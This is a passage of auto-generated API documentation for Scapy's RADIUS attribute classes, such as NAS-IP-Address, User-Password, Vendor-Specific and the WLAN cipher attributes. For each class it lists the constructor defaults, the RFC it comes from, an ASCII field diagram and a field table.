+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. RadiusAttr_Management_Privilege_Level            


RadiusAttr_Management_Privilege_Level fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 136

	








	
class scapy.layers.radius.RadiusAttr_Message_Authenticator(_pkt, /, *, type=24, len=18, value=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L551-L579]

	Bases: _RadiusAttrHexStringVal

RFC 2869


	
aliastypes

	




	
static compute_message_authenticator(radius_packet, packed_req_authenticator, shared_secret)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L566-L579]

	Computes the “Message-Authenticator” of a given RADIUS packet.
(RFC 2869 - Page 33)






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. RadiusAttr_Message_Authenticator               


RadiusAttr_Message_Authenticator fields






	type

	ByteEnumField

	24



	len

	FieldLenField

	18



	value

	XStrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'











	
val = 80

	








	
class scapy.layers.radius.RadiusAttr_Mobility_Domain_Id(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L439-L441]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Mobility_Domain_Id                


RadiusAttr_Mobility_Domain_Id fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 177

	








	
class scapy.layers.radius.RadiusAttr_NAS_IP_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L600-L602]

	Bases: _RadiusAttrIPv4AddrVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_NAS_IP_Address                  


RadiusAttr_NAS_IP_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 4

	








	
class scapy.layers.radius.RadiusAttr_NAS_Port(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L319-L321]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RadiusAttr_NAS_Port                     


RadiusAttr_NAS_Port fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 5

	








	
class scapy.layers.radius.RadiusAttr_NAS_Port_Type(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1009-L1011]

	Bases: _RadiusAttrIntEnumVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_NAS_Port_Type                   


RadiusAttr_NAS_Port_Type fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 61)

	0











	
val = 61

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L635-L637]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. RadiusAttr_PMIP6_Home_DHCP4_Server_Address          


RadiusAttr_PMIP6_Home_DHCP4_Server_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 157

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Home_IPv4_Gateway(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L645-L647]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. RadiusAttr_PMIP6_Home_IPv4_Gateway              


RadiusAttr_PMIP6_Home_IPv4_Gateway fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 161

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L625-L627]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. RadiusAttr_PMIP6_Home_LMA_IPv4_Address            


RadiusAttr_PMIP6_Home_LMA_IPv4_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 149

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L640-L642]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Fig. RadiusAttr_PMIP6_Visited_DHCP4_Server_Address        


RadiusAttr_PMIP6_Visited_DHCP4_Server_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 158

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Visited_IPv4_Gateway(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L650-L652]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. RadiusAttr_PMIP6_Visited_IPv4_Gateway            


RadiusAttr_PMIP6_Visited_IPv4_Gateway fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 162

	








	
class scapy.layers.radius.RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L630-L632]

	Bases: _RadiusAttrIPv4AddrVal

RFC 6572


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. RadiusAttr_PMIP6_Visited_LMA_IPv4_Address          


RadiusAttr_PMIP6_Visited_LMA_IPv4_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 150

	








	
class scapy.layers.radius.RadiusAttr_Password_Retry(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L414-L416]

	Bases: _RadiusAttrIntValue

RFC 2869


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_Password_Retry                  


RadiusAttr_Password_Retry fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 75

	








	
class scapy.layers.radius.RadiusAttr_Port_Limit(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L404-L406]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. RadiusAttr_Port_Limit                    


RadiusAttr_Port_Limit fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 62

	








	
class scapy.layers.radius.RadiusAttr_Preauth_Timeout(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L444-L446]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Preauth_Timeout                  


RadiusAttr_Preauth_Timeout fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 178

	








	
class scapy.layers.radius.RadiusAttr_Service_Type(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L984-L986]

	Bases: _RadiusAttrIntEnumVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RadiusAttr_Service_Type                   


RadiusAttr_Service_Type fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 6)

	0











	
val = 6

	








	
class scapy.layers.radius.RadiusAttr_Session_Timeout(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L334-L336]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Session_Timeout                  


RadiusAttr_Session_Timeout fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 27

	








	
class scapy.layers.radius.RadiusAttr_State(_pkt, /, *, type=24, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L530-L532]

	Bases: _RadiusAttrHexStringVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RadiusAttr_State                       


RadiusAttr_State fields






	type

	ByteEnumField

	24



	len

	FieldLenField

	None



	value

	XStrLenField

	b''











	
val = 24

	








	
class scapy.layers.radius.RadiusAttr_Tunnel_Preference(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L419-L421]

	Bases: _RadiusAttrIntValue

RFC 2868


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Tunnel_Preference                 


RadiusAttr_Tunnel_Preference fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 83

	








	
class scapy.layers.radius.RadiusAttr_User_Name(_pkt, /, *, type=1, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L314-L316]

	Bases: _SpecificRadiusAttr

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. RadiusAttr_User_Name                     


RadiusAttr_User_Name fields






	type

	ByteEnumField

	1



	len

	FieldLenField

	None



	value

	StrLenField

	b''











	
val = 1

	








	
class scapy.layers.radius.RadiusAttr_User_Password(_pkt, /, *, type=24, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L525-L527]

	Bases: _RadiusAttrHexStringVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_User_Password                   


RadiusAttr_User_Password fields






	type

	ByteEnumField

	24



	len

	FieldLenField

	None



	value

	XStrLenField

	b''











	
val = 2

	








	
class scapy.layers.radius.RadiusAttr_Vendor_Specific(_pkt, /, *, type=26, len=None, vendor_id=0, vendor_type=0, vendor_len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1068-L1094]

	Bases: RadiusAttribute

Implements the “Vendor-Specific” attribute, as described in RFC 2865.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           VENDOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |  VENDOR TYPE  |   VENDOR LEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Vendor_Specific                  


RadiusAttr_Vendor_Specific fields






	type

	ByteEnumField

	26



	len

	FieldLenField

	None



	vendor_id

	IntField

	0



	vendor_type

	ByteField

	0



	vendor_len

	FieldLenField

	None



	value

	StrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.radius.RadiusAttr_WLAN_AKM_Suite(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L469-L471]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_WLAN_AKM_Suite                  


RadiusAttr_WLAN_AKM_Suite fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 188

	








	
class scapy.layers.radius.RadiusAttr_WLAN_Group_Cipher(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L464-L466]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_WLAN_Group_Cipher                 


RadiusAttr_WLAN_Group_Cipher fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 187

	








	
class scapy.layers.radius.RadiusAttr_WLAN_Group_Mgmt_Cipher(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L474-L476]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. RadiusAttr_WLAN_Group_Mgmt_Cipher              


RadiusAttr_WLAN_Group_Mgmt_Cipher fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 189

	








	
class scapy.layers.radius.RadiusAttr_WLAN_Pairwise_Cipher(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L459-L461]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. RadiusAttr_WLAN_Pairwise_Cipher               


RadiusAttr_WLAN_Pairwise_Cipher fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 186

	








	
class scapy.layers.radius.RadiusAttr_WLAN_RF_Band(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L479-L481]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RadiusAttr_WLAN_RF_Band                   


RadiusAttr_WLAN_RF_Band fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 190

	








	
class scapy.layers.radius.RadiusAttr_WLAN_Reason_Code(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L454-L456]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_WLAN_Reason_Code                 


RadiusAttr_WLAN_Reason_Code fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 185

	








	
class scapy.layers.radius.RadiusAttr_WLAN_Venue_Info(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L449-L451]

	Bases: _RadiusAttrIntValue

RFC 7268


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
